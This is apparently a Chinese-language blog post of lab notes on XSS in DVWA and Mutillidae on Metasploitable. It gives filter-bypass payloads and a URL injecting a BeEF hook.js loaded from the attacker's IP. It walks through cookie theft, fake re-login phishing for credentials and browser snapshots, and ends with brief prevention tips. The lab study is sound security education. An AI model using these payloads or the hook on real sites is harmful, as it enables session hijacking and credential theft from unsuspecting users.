Metasploitable 學習筆記-XSS Vulnerability : BeEF 瀏覽器攻擊與社交工程欺騙

Kuro Huang
資安工作者的學習之路
10 min readMay 23, 2020

--

這是一篇Metasploitable系列文,可以參考我的Medium系列目錄:

什麼是XSS漏洞?

XSS 全稱為 Cross-Site Scripting(跨網站指令碼攻擊)

XSS可分為下列三種類型(引用上方網站解說):

  • 反射型XSS (Reflected XSS):Reflected 是指不會被儲存在資料庫中,而是由網頁後端直接嵌入由前端使用者所傳送過來的內容造成的,最常見的就是以 GET 方法傳送資料給伺服器時,伺服器未檢查就將內容回應到網頁上所產生的漏洞。
  • 儲存型XSS (Stored XSS):會被保存在伺服器資料庫中的 JavaScript 代碼引起的攻擊即為 Stored XSS,最常見的就是論壇文章、留言板等等,因為使用者可以輸入任意內容,若沒有確實檢查,那使用者輸入如 <script> 等關鍵字就會被當成正常的 HTML 執行,標籤的內容也會被正常的作為 JavaScript 代碼執行。而此手法需透過特定網址點入,因此攻擊者通常會以釣魚手法、社交工程等方式誘騙受害者點入連結,但因為代碼都在網址上,只要細心一點就不容易受害。
  • 基於Dom 的XSS (DOM-Based XSS):了解此種 XSS 類型時,務必事先了解 DOM 是什麼,DOM 全稱為 Document Object Model,用以描述 HTML 文件的表示法,它讓我們可以使用 JavaScript 動態產生完整的網頁,而不必透過伺服器。因此 DOM-Based XSS 就是指網頁上的 JavaScript 在執行過程中,沒有詳細檢查資料使得操作 DOM 的過程代入了惡意指令。

過程中也看了不少網路上分享如何實作的方法,每個人的做法都很不錯,思考方式也不同。

Reflected XSS

Low等級

使用最基本的語法來試著產生XSS漏洞

<script>alert(“xss”)</script>

直接在URL或輸入框內執行這段程式碼都可以運作

Medium 等級

發現直接輸入不管用了,看一下原始碼應該是被過濾掉某些特殊符號

試著改變一下文字的大小寫來bypass

<sCript>alert(“xss”)</scRipt>

使用BeEF攻擊使用者瀏覽器

BeEF原理:

https://www.slideshare.net/AlexandraLacatus/beef-29384453

Kali 2020預設沒有BeFF,需要手動安裝,安裝後輸入beef-xss執行:

回到Low級別的DVWA,URL可以被注入XSS攻擊,所以我們可以利用BeFF實作一次看看

操作步驟:

Beef XSS上有基本的參數 :

<script src=”http://127.0.0.1:3000/hook.js"></script>

目標機器的網址:

http://192.168.40.135/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

Src->改成KaliLinux IP

http://192.168.40.135/dvwa/vulnerabilities/xss_r/?name=<script src=”http://192.168.40.138:3000/hook.js"></script>

將整串指令輸入於URL

回到BeEF主控台即可看見主機被釣到了,使用在儲存型XSS更危險,因為使用者不會注意到XSS,

取得Cookie

在commands搜尋Cookie 找到Get Cookie,點選兩次執行

社交工程

使用社交工程模組-Pretty Theft,可以選擇多個偽造的頁面讓使用者重新登錄帳號密碼

回到DVWA看一下頁面,會顯示出Time Out需要重新輸入帳號密碼

再次回到Kali裡面,即可看到使用者輸入的帳號密碼

提示安裝插件與更新

社交工程有許多好用的模組可以用,例如提示假的插件安裝或更新

Stored XSS

Low

Medium

調整成Medium後會發現欄位會過濾了,看一下網頁的程式碼,對著Name選擇右鍵點選檢測元素,修改maxlength長度

但因為會進行過濾,所以我們照著之前的手法,將大小寫改變一下:

使用BeFF

使用先前的手法與指令將BeFF的參數丟到XSS Stored

在BeFF上找到 Create Alert Dialog,功能與Alert(“XSS”)差不多,輸入要顯示的文字後送出

回到網站即會發現在被害者的瀏覽器上跳出視窗,我們可以透過BeFF執行各種不同的惡意指令

使用Spyder eyes 擷取被害者瀏覽器(Creates a snapshot)

找到Spyder eyes後直接執行兩次,即可看到Snapshot

Mutillidae網站練習

路徑: OWASP Top10 -> injection -> java script injection

同之前我們先試試看塞XSS的語法,發現網站會過濾

<script>
try{
document.getElementById(“idUsernameInput”).innerHTML = “This password is for <script>alert(“xss”)</script>
“;
}catch(e){
alert(“Error: “ + e.message);
}// end catch
->” ;alert(‘XSS’);//
  1. 原本已經有了script ,我們將script去掉
  2. 前面This password 文字有一個 "我們將雙引號關閉 所以補一個"在語法前面
  3. javascript 語法,我們將前面一段語法結束掉,所以加上; ,並將後面全部註解 ,加上//

或是其他的大神有不同的語法:

anonymous";}catch(e){}alert("XSS");try{XSS="

預防

  • HtmlEncode : 將&&符號等轉為HTML程式碼

詳細預防的解說可參考這篇:

  • 過濾與限制使用者可輸入的內容

如果有興趣可以參考其他篇的筆記:

https://medium.com/blacksecurity/tagged/ctf
若您喜歡我的文章,歡迎按下「拍手」與Liker按讚給我支持並轉發給你的朋友們(可以多拍幾下手喔),或是「Follow」我,讓我提供文章給您。

Facebook 粉絲專頁 剛開始建立經營 不會洗版(沒有時間) !!包含資安與投資的資訊,歡迎追蹤我並分享。

--

--

Kuro Huang
資安工作者的學習之路

對教育充滿期待的資安從業者,現任ISC2台北分會理監事成員,喜歡用專業興趣交朋友建立友誼。希望對資安社群盡一點心力,並期望自己與身旁的人能有所進步,歡迎喝咖啡聊資安。希望保持著定期參與資安社群活動。個人介紹 https://portaly.cc/kurohuang